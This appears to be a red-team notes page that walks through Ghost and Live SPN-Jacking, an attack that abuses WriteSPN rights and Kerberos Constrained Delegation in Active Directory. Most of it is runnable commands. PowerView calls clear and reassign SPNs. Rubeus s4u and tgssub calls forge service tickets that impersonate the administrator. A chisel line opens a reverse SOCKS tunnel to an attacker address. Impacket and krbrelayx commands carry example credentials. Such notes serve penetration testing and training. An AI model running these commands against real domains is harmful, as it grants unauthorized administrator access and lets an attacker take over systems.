SPN Jacking

SPN Jacking is an alternative method to abuse WriteSPN rights as it manipulates Constrained Delegation to allow the abuse of WriteSPN when password cracking is not possible.

Ghost SPN-Jacking

Ghost SPN-Jacking targets scenarios where an SPN, previously associated with a computer or service account, is either no longer in use due to the deletion or renaming of the account, or it belongs to a custom service class that has been removed. Such SPNs are often left unattended in systems configured for Kerberos Constrained Delegation.

To enumerate WriteSPN rights we can use Bloodhound or PowerView. When using BloodHound we will see the edge WriteSPN.

MATCH p=(n:User)-[r1:WriteSPN*1..]->(c:Computer) RETURN p
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $(ConvertTo-SID otter)}

It's good practice to confirm with powerview, pywerview, dacledit or adalanche since BH might miss this ACL

If we find an account with this ACL we need to confirm that machine account we own has constrained delegation set

Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

name  msds-allowedtodelegateto
----  ------------------------
SRV {www/WS, www/WS.domain.com, ...}

And now to perform the Ghost SPN-Jacking attack we must look for orphaned SPNs on SRV, with the aim of assigning them to our target machine WEB. To do this we can use PowerView to search for servers configured for Constrained Delegation and to map which servers are configured along with Get-ConstrainedDelegation.ps1 to display the value of msDS-AllowedToDelegateTo as this attribute contains a list of SPNs and is used to configure a service so that it can obtain service tickets that can be used for Constrained Delegation - the script also allows to look for orphaned SPNs

Import-Module C:\Tools\PowerView.ps1
Import-Module C:\Tools\Get-ConstrainedDelegation.ps1
Get-ConstrainedDelegation

Type  Name  Target  SPN
----  ----  ------  ---
Computer SRV  DBSRV dmserver/DBSRV
Computer SRV  DBSRV dmserver/DBSRV.domain.com
Computer SRV  EXCH  www/EXCH
Computer SRV  EXCH  www/EXCH.domain.com
Computer SRV  DATABASE dhcp/DATABASE
Computer SRV  DATABASE dhcp/DATABASE.domain.com
Get-ConstrainedDelegation -CheckOrphaned

Type  Name  Target  SPN
----  ----  ------  ---
Computer SRV  DATABASE dhcp/DATABASE
Computer SRV  DATABASE dhcp/DATABASE.domain.com

After noting down the original state of the SPNs we can assign one of the orphaned SPNs to our target machine WEB

Set-DomainObject -Identity WEB -Set @{serviceprincipalname='dhcp/DATABASE'} -Verbose

This action misaligns the SPN's intended association, tricking the Kerberos authentication system into recognizing WEB as the legitimate endpoint for the services initially tied to the SPN. Now we can use the S4U extension from Rubeus, using the SRV$ account to obtain a service ticket for a privileged user to WEB

.\Rubeus.exe s4u /domain:domain.com /user:SRV$ /rc4:<SRV_NTLM> /impersonateuser:administrator /msdsspn:"dhcp/DATABASE" /nowrap

The ticket obtained through executing Rubeus s4u wouldn't provide us access to WEB due to a discrepancy in the hostname and the service class dhcp/DATABASE doesn't provide an attack path, we need to change it to another service such as CIFS. That said, this ticket is encrypted for WEB, with the service name not encrypted within the ticket allowing us to alter the service name to one valid and the hostname to match the target WEB

.\Rubeus.exe tgssub /ticket:<TICKET_BASE64> /altservice:cifs/WEB /nowrap

Live SPN-Jacking

Live SPN-Jacking requires active manipulation of SPNs currently in use within the network environment.

Typically, in environments with up-to-date security updates in the Active Directory environment, only Domain Admins can assign the duplicate SPN to different accounts due to the potential for conflict. Attempting to assign an SPN already associated with DBSRV to WEB would usually be blocked by the Domain Controller to prevent such disputes. To get around this we need to remove the SPN we want to use from DBSRV, temporarily disabling the association and making it possible to add the SPN to WEB. As always, it's best practice to take note of the original state of the SPNs in order to revert the changes later on.

Now we can use powerview to remove the SPN from DBSRV

Set-DomainObject -Identity DBSRV -Clear 'serviceprincipalname' -Verbose

and assign it to WEB

Set-DomainObject -Identity WEB -Set @{serviceprincipalname='dmserver/DBSRV'} -Verbose

This opens up the possibility for a S4U attack - it's still worth noting that the service name on the ticket wouldn't directly allow access to WEB, but we can alter the service name and host name to use the ticket against our target computer. We will use HTTP/WEB instead of CIFS to connect to PowerShell Remoting

.\Rubeus.exe s4u /domain:domain.com /user:SRV$ /rc4:<SRV_NTLM> /impersonateuser:administrator /msdsspn:"dmserver/DBSRV" /nowrap
.\Rubeus.exe tgssub /ticket:<BASE64_TICKET> /altservice:HTTP/WEB /nowrap

After we have the ticket we can restore the SPNs we deleted

Set-DomainObject -Identity DBSRV003 -Set @{serviceprincipalname='WSMAN/DBSRV','WSMAN/DBSRV.domain.com','TERMSRV/DBSRV','TERMSRV/DBSRV.domain.com','RestrictedKrbHost/DBSRV','HOST/DBSRV','RestrictedKrbHost/DBSRV.domain.com','HOST/DBSRV.domain.com'} -Verbose

Performing this attack from linux requires some tunneling to be done - we can use chisel or ligolo for that

.\chisel.exe client 10.10.14.10:1080 R:socks

Then we can use findDelegation to verify if the computer we own has constrained delegation set and take note of the original state of the SPNs

proxychains -q findDelegation.py -target-domain domain.com -dc-ip 172.16.10.10 -dc-host dc domain.com/otter:'SomethingSecure123!'

Now we use krbrelayx's addspn to clear the SPNs from DBSRV

proxychains -q python3 addspn.py 172.16.10.10 -u 'domain.com\otter' -p 'SomethingSecure123!' --clear -t 'DBSRV$' -dc-ip 172.16.10.10

after this we add the SPN to WEB

proxychains -q python3 addspn.py 172.16.10.10 -u 'domain.com\otter' -p 'SomethingSecure123!' --spn 'dmserver/DBSRV' -t 'WEB$' -dc-ip 172.16.10.10

and request a ticket

proxychains -q getST.py -spn 'dmserver/DBSRV' -impersonate Administrator 'domain.com/SRV$' -hashes :<SRV_HASH> -dc-ip 172.16.10.10 -altservice "cifs/WEB.domain.com"

This getST command eliminates the need to use tgssub to change the hostname in the ticket

A really neat trick to restore a list of SPNs from a txt file is

for spn in $(cat DBSRVspns.txt);do proxychains -q python3 addspn.py 172.16.10.10 -u 'domain.com\otter' -p 'SomethingSecure123!' -t 'DBSRV$' --spn $spn;done

Last updated